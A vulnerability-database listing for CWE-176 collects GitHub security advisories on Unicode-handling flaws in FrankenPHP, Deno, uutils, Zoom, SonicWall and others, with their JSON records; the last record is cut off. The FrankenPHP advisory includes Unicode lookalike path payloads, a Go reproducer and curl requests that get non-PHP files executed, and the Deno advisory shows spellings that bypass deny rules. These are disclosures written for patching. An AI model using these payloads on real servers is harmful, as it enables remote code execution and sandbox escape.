CWE-176
AllowedImproper Handling of Unicode Encoding
Abstraction: Variant · Status: Draft
The product does not properly handle when an input contains Unicode encoding.
56 vulnerabilities reference this CWE, most recent first.
GHSA-3G8V-8R37-CGJM
Vulnerability from github – Published: 2026-05-15 17:09 – Updated: 2026-06-10 18:41Summary
The splitPos() function in cgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.
This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.
Details
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
pathLen := len(path)
for _, split := range splitPath {
splitLen := len(split)
for i := 0; i < pathLen; i++ {
if path[i] >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break
}
if i+splitLen > pathLen {
continue
}
match := true
for j := 0; j < splitLen; j++ {
c := path[i+j]
if c >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break // <-- flaw 1: 'match' is still true
}
if 'A' <= c && c <= 'Z' {
c += 'a' - 'A'
}
if c != split[j] {
match = false
break
}
}
if match {
return i + splitLen
}
}
}
return -1
}
Flaw 1 — Control-flow: stale match after inner non-ASCII fallback
In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.
Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII
search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.
Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.
PoC
Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):
package main
import (
"fmt"
"unicode/utf8"
"golang.org/x/text/language"
"golang.org/x/text/search"
)
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
// ... splitPos copied verbatim from cgi.go ...
func main() {
split := []string{".php"}
payloads := []string{
// flaw 1
"/PoC-match-unset.txt", // expected: -1
"/PoC-match-unset.¡.txt", // expected: -1, actual: 20
// flaw 2
"/shell﹒php", // ﹒ small full stop
"/shell.php", // . fullwidth full stop
"/shell.php", // p fullwidth p
"/shell.php", // h fullwidth h
"/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled
"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold
"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script
"/shell.ⓟⓗⓟ.anything-after-payload.php",
}
for _, p := range payloads {
fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
}
}
Run go run poc.go:
/PoC-match-unset.txt : -1
/PoC-match-unset.¡.txt : 20
/shell﹒php : 12
/shell.php : 12
/shell.php : 12
/shell.php : 12
/shell.ⓟⓗⓟ : 16
/shell.𝗽𝗵𝗽 : 19
/shell.𝓅𝒽𝓅 : 19
/shell.ⓟⓗⓟ.anything-after-payload.php : 16
Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).
End-to-end demo
Directory layout:
.
├── Caddyfile # `:8080 { root * /app/public; php }`
└── public/
├── index.php
├── poc-match-unset.¡. # contains <?php echo "marker=flaw1\n"; ?>
└── poc-search-norm.𝗽𝗵𝗽 # contains <?php echo "marker=flaw2\n"; ?>
docker run --rm -d --name frankenphp-poc \
-p 18080:8080 \
-v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
-v "$(pwd)/public:/app/public" \
dunglas/frankenphp:latest
# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"
# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"
# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.
Impact
Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).
Patch
Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.
Credit
Both flaws were reported by @KC1zs4.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/dunglas/frankenphp"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.2"
},
{
"fixed": "1.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45062"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-178",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:09:46Z",
"nvd_published_at": "2026-06-10T18:16:57Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc splitPos(path string, splitPath []string) int {\n\tif len(splitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range splitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := 0; i \u003c pathLen; i++ {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := 0; j \u003c splitLen; j++ {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nStandalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/text/language\"\n\t\"golang.org/x/text/search\"\n)\n\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\n// ... splitPos copied verbatim from cgi.go ...\n\nfunc main() {\n\tsplit := []string{\".php\"}\n\tpayloads := []string{\n\t\t// flaw 1\n\t\t\"/PoC-match-unset.txt\", // expected: -1\n\t\t\"/PoC-match-unset.\u00a1.txt\", // expected: -1, actual: 20\n\n\t\t// flaw 2\n\t\t\"/shell\ufe52php\", // \ufe52 small full stop\n\t\t\"/shell\uff0ephp\", // \uff0e fullwidth full stop\n\t\t\"/shell.\uff50hp\", // \uff50 fullwidth p\n\t\t\"/shell.p\uff48p\", // \uff48 fullwidth h\n\t\t\"/shell.\u24df\u24d7\u24df\", // \u24df\u24d7\u24df circled\n\t\t\"/shell.\\U0001D5FD\\U0001D5F5\\U0001D5FD\", // \ud835\uddfd\ud835\uddf5\ud835\uddfd mathematical sans-serif bold\n\t\t\"/shell.\\U0001D4C5\\U0001D4BD\\U0001D4C5\", // \ud835\udcc5\ud835\udcbd\ud835\udcc5 mathematical script\n\t\t\"/shell.\u24df\u24d7\u24df.anything-after-payload.php\",\n\t}\n\tfor _, p := range payloads {\n\t\tfmt.Printf(\"%-50s : %d\\n\", p, splitPos(p, split))\n\t}\n}\n```\n\nRun `go run poc.go`:\n\n```text\n/PoC-match-unset.txt : -1\n/PoC-match-unset.\u00a1.txt : 20\n/shell\ufe52php : 12\n/shell\uff0ephp : 12\n/shell.\uff50hp : 12\n/shell.p\uff48p : 12\n/shell.\u24df\u24d7\u24df : 16\n/shell.\ud835\uddfd\ud835\uddf5\ud835\uddfd : 19\n/shell.\ud835\udcc5\ud835\udcbd\ud835\udcc5 : 19\n/shell.\u24df\u24d7\u24df.anything-after-payload.php : 16\n```\n\nEvery value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes).\n\n#### End-to-end demo\n\nDirectory layout:\n\n```\n.\n\u251c\u2500\u2500 Caddyfile # `:8080 { root * /app/public; php }`\n\u2514\u2500\u2500 public/\n \u251c\u2500\u2500 index.php\n \u251c\u2500\u2500 poc-match-unset.\u00a1. # contains \u003c?php echo \"marker=flaw1\\n\"; ?\u003e\n \u2514\u2500\u2500 poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd # contains \u003c?php echo \"marker=flaw2\\n\"; ?\u003e\n```\n\n```bash\ndocker run --rm -d --name frankenphp-poc \\\n -p 18080:8080 \\\n -v \"$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro\" \\\n -v \"$(pwd)/public:/app/public\" \\\n dunglas/frankenphp:latest\n\n# baseline (correctly fails to map a .txt or non-php file to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 runs poc-match-unset.\u00a1. as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 runs poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\n### Impact\n\nComparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors, etc. \u2014 the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nBoth flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.\n\n### Credit\n\nBoth flaws were reported by @KC1zs4.",
"id": "GHSA-3g8v-8r37-cgjm",
"modified": "2026-06-10T18:41:15Z",
"published": "2026-05-15T17:09:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45062"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/commit/2d0f480329a02571d6f635dad9fdb066e1a11e81"
},
{
"type": "PACKAGE",
"url": "https://github.com/php/frankenphp"
},
{
"type": "WEB",
"url": "https://github.com/php/frankenphp/releases/tag/v1.12.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files"
}
GHSA-6399-J99H-665C
Vulnerability from github – Published: 2024-03-27 00:30 – Updated: 2024-03-27 00:30Some Microsoft technologies as used in Windows 8 through 11 allow a temporary client-side performance degradation during processing of multiple Unicode combining characters, aka a "Zalgo text" attack. NOTE: third parties dispute whether the computational cost of interpreting Unicode data should be considered a vulnerability.
{
"affected": [],
"aliases": [
"CVE-2017-20190"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T00:15:07Z",
"severity": null
},
"details": "Some Microsoft technologies as used in Windows 8 through 11 allow a temporary client-side performance degradation during processing of multiple Unicode combining characters, aka a \"Zalgo text\" attack. NOTE: third parties dispute whether the computational cost of interpreting Unicode data should be considered a vulnerability.",
"id": "GHSA-6399-j99h-665c",
"modified": "2024-03-27T00:30:57Z",
"published": "2024-03-27T00:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20190"
},
{
"type": "WEB",
"url": "https://aka.ms/windowsbugbar"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/Zalgo_text"
},
{
"type": "WEB",
"url": "https://talk.dynalist.io/t/dynalist-is-vulnerable-to-zalgo/1234"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6GCW-W7CP-94G9
Vulnerability from github – Published: 2026-07-06 19:51 – Updated: 2026-07-06 19:51The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.
Zellic finding 3.34. Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uu_comm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35346"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T19:51:22Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.\n\n---\n_Zellic finding 3.34. Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-6gcw-w7cp-94g9",
"modified": "2026-07-06T19:51:22Z",
"published": "2026-07-06T19:51:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-6gcw-w7cp-94g9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35346"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10192"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/10206"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/b9372e509ea9b278fe13763237067a261bb8c946"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "comm: lossy UTF-8 conversion silently corrupts non-UTF-8 output"
}
GHSA-6RV3-82JQ-3R4C
Vulnerability from github – Published: 2023-08-09 00:31 – Updated: 2024-04-04 06:43Improper neutralization of special elements in Zoom Desktop Client for Windows and Zoom VDI Client before 5.15.2 may allow an unauthenticated user to enable an escalation of privilege via network access.
{
"affected": [],
"aliases": [
"CVE-2023-39213"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-08T22:15:10Z",
"severity": "CRITICAL"
},
"details": "\nImproper neutralization of special elements in Zoom Desktop Client for Windows and Zoom VDI Client before 5.15.2 may allow an unauthenticated user to enable an escalation of privilege via network access.\n\n",
"id": "GHSA-6rv3-82jq-3r4c",
"modified": "2024-04-04T06:43:13Z",
"published": "2023-08-09T00:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39213"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8XPQ-CJCF-3WH9
Vulnerability from github – Published: 2026-06-16 19:11 – Updated: 2026-07-31 13:15Summary
Deno's permission system enforces filesystem and execution restrictions by
comparing the requested path against the path supplied to --deny-read,
--deny-write, --deny-run, or --deny-ffi. On macOS, that comparison was
done at the raw-byte level while the APFS filesystem treats different Unicode
spellings of the same name as the same file.
That means a program could reach a denied path by spelling it differently than
the deny rule. For example, with --deny-read=/secrets/passwörter.txt, a
script could still read the file by opening /secrets/passwo\u0308rter.txt
(NFD instead of NFC), or /SECRETS/PASSWÖRTER.txt (different case, since
default APFS volumes are case-insensitive). Other forms include ligature
characters (fi vs fi, ff vs ff, …) and German ß vs ss.
The denied path and the requested path differed at the byte level, so Deno's
permission check passed; the kernel then resolved them to the same inode and
served the file anyway. The same flaw affected --deny-write, --deny-run,
and --deny-ffi, which share the same path-comparison code.
Am I affected?
You are potentially affected if all of the following are true:
- You run Deno on macOS (the issue is specific to APFS path-equivalence rules; Linux and Windows are not affected by this variant).
- You rely on
--deny-read,--deny-write,--deny-run, or--deny-ffias a security boundary against less-trusted code — a dependency, plugin, or attacker-controlled input. - The protected path contains characters that have alternate Unicode
spellings — most commonly accented characters (
é,ñ,ö, …), Germanß, or Latin ligatures — or you rely on case-sensitivity on a default APFS volume.
If you only run fully trusted code, or your deny rules cover paths that are pure ASCII with no case-sensitive aliases, you are not exposed to this specific bypass.
Impact
A program running with broad --allow-read (or --allow-write /
--allow-run / --allow-ffi) but with --deny-* carve-outs for specific
paths could read, write, execute, or load via FFI those denied paths by
referring to them through a Unicode- or case-equivalent spelling. The sandbox
model on macOS was weaker than the flags suggested.
Workaround
If you cannot upgrade immediately:
- Prefer
--allow-*allowlists over--deny-*denylists. Allow rules match against the original specifier, so an attacker-supplied alternate spelling will not match a path you didn't explicitly grant. - Do not rely on case-sensitivity of paths on macOS for security boundaries; default APFS volumes are case-insensitive.
Fix
On macOS, Deno now normalizes both the deny-rule path and the requested path to NFC and applies Unicode case folding before comparing them. This matches how APFS resolves paths at the inode level, so byte-different but equivalent spellings are now rejected by the same deny rule.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.13"
},
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49401"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-41"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T19:11:52Z",
"nvd_published_at": "2026-06-23T18:18:03Z",
"severity": "HIGH"
},
"details": "## Summary\n\nDeno\u0027s permission system enforces filesystem and execution restrictions by\ncomparing the requested path against the path supplied to `--deny-read`,\n`--deny-write`, `--deny-run`, or `--deny-ffi`. On macOS, that comparison was\ndone at the raw-byte level while the APFS filesystem treats different Unicode\nspellings of the same name as the same file.\n\nThat means a program could reach a denied path by spelling it differently than\nthe deny rule. For example, with `--deny-read=/secrets/passw\u00f6rter.txt`, a\nscript could still read the file by opening `/secrets/passwo\\u0308rter.txt`\n(NFD instead of NFC), or `/SECRETS/PASSW\u00d6RTER.txt` (different case, since\ndefault APFS volumes are case-insensitive). Other forms include ligature\ncharacters (`\ufb01` vs `fi`, `\ufb00` vs `ff`, \u2026) and German `\u00df` vs `ss`.\n\nThe denied path and the requested path differed at the byte level, so Deno\u0027s\npermission check passed; the kernel then resolved them to the same inode and\nserved the file anyway. The same flaw affected `--deny-write`, `--deny-run`,\nand `--deny-ffi`, which share the same path-comparison code.\n\n## Am I affected?\n\nYou are potentially affected if **all** of the following are true:\n\n1. You run Deno on **macOS** (the issue is specific to APFS path-equivalence\n rules; Linux and Windows are not affected by this variant).\n2. You rely on `--deny-read`, `--deny-write`, `--deny-run`, or `--deny-ffi`\n as a security boundary against less-trusted code \u2014 a dependency, plugin,\n or attacker-controlled input.\n3. The protected path contains characters that have alternate Unicode\n spellings \u2014 most commonly accented characters (`\u00e9`, `\u00f1`, `\u00f6`, \u2026), German\n `\u00df`, or Latin ligatures \u2014 or you rely on case-sensitivity on a default\n APFS volume.\n\nIf you only run fully trusted code, or your deny rules cover paths that are\npure ASCII with no case-sensitive aliases, you are not exposed to this\nspecific bypass.\n\n## Impact\n\nA program running with broad `--allow-read` (or `--allow-write` /\n`--allow-run` / `--allow-ffi`) but with `--deny-*` carve-outs for specific\npaths could read, write, execute, or load via FFI those denied paths by\nreferring to them through a Unicode- or case-equivalent spelling. The sandbox\nmodel on macOS was weaker than the flags suggested.\n\n## Workaround\n\nIf you cannot upgrade immediately:\n\n- Prefer `--allow-*` allowlists over `--deny-*` denylists. Allow rules match\n against the original specifier, so an attacker-supplied alternate spelling\n will not match a path you didn\u0027t explicitly grant.\n- Do not rely on case-sensitivity of paths on macOS for security boundaries;\n default APFS volumes are case-insensitive.\n\n## Fix\n\nOn macOS, Deno now normalizes both the deny-rule path and the requested path\nto NFC and applies Unicode case folding before comparing them. This matches\nhow APFS resolves paths at the inode level, so byte-different but equivalent\nspellings are now rejected by the same deny rule.",
"id": "GHSA-8xpq-cjcf-3wh9",
"modified": "2026-07-31T13:15:54Z",
"published": "2026-06-16T19:11:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-8xpq-cjcf-3wh9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49401"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)"
}
GHSA-92X3-5H48-MFHX
Vulnerability from github – Published: 2026-08-19 21:30 – Updated: 2026-08-19 21:30HashiCorp go-slug 0.4.0 through 0.18.2 could allow a local attacker to bypass .terraformignore exclusions and cause sensitive files to be included in Terraform slug uploads due to improper handling of Unicode normalization during path matching.
{
"affected": [],
"aliases": [
"CVE-2026-14978"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T21:16:54Z",
"severity": "MODERATE"
},
"details": "HashiCorp go-slug 0.4.0 through 0.18.2 could allow a local attacker to bypass .terraformignore exclusions and cause sensitive files to be included in Terraform slug uploads due to improper handling of Unicode normalization during path matching.",
"id": "GHSA-92x3-5h48-mfhx",
"modified": "2026-08-19T21:30:37Z",
"published": "2026-08-19T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14978"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7284170"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98V3-FWPF-R4W2
Vulnerability from github – Published: 2026-04-09 15:35 – Updated: 2026-04-13 21:30Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN user to bypass Workplace/Connect Tunnel TOTP authentication.
{
"affected": [],
"aliases": [
"CVE-2026-4116"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-09T15:16:14Z",
"severity": "HIGH"
},
"details": "Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN user to bypass Workplace/Connect Tunnel TOTP authentication.",
"id": "GHSA-98v3-fwpf-r4w2",
"modified": "2026-04-13T21:30:39Z",
"published": "2026-04-09T15:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4116"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9G9P-59W9-VQQC
Vulnerability from github – Published: 2024-11-13 18:32 – Updated: 2025-10-22 00:33In shouldHideDocument of ExternalStorageProvider.java, there is a possible bypass of a file path filter designed to prevent access to sensitive directories due to incorrect unicode normalization. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-43093"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T18:15:21Z",
"severity": "HIGH"
},
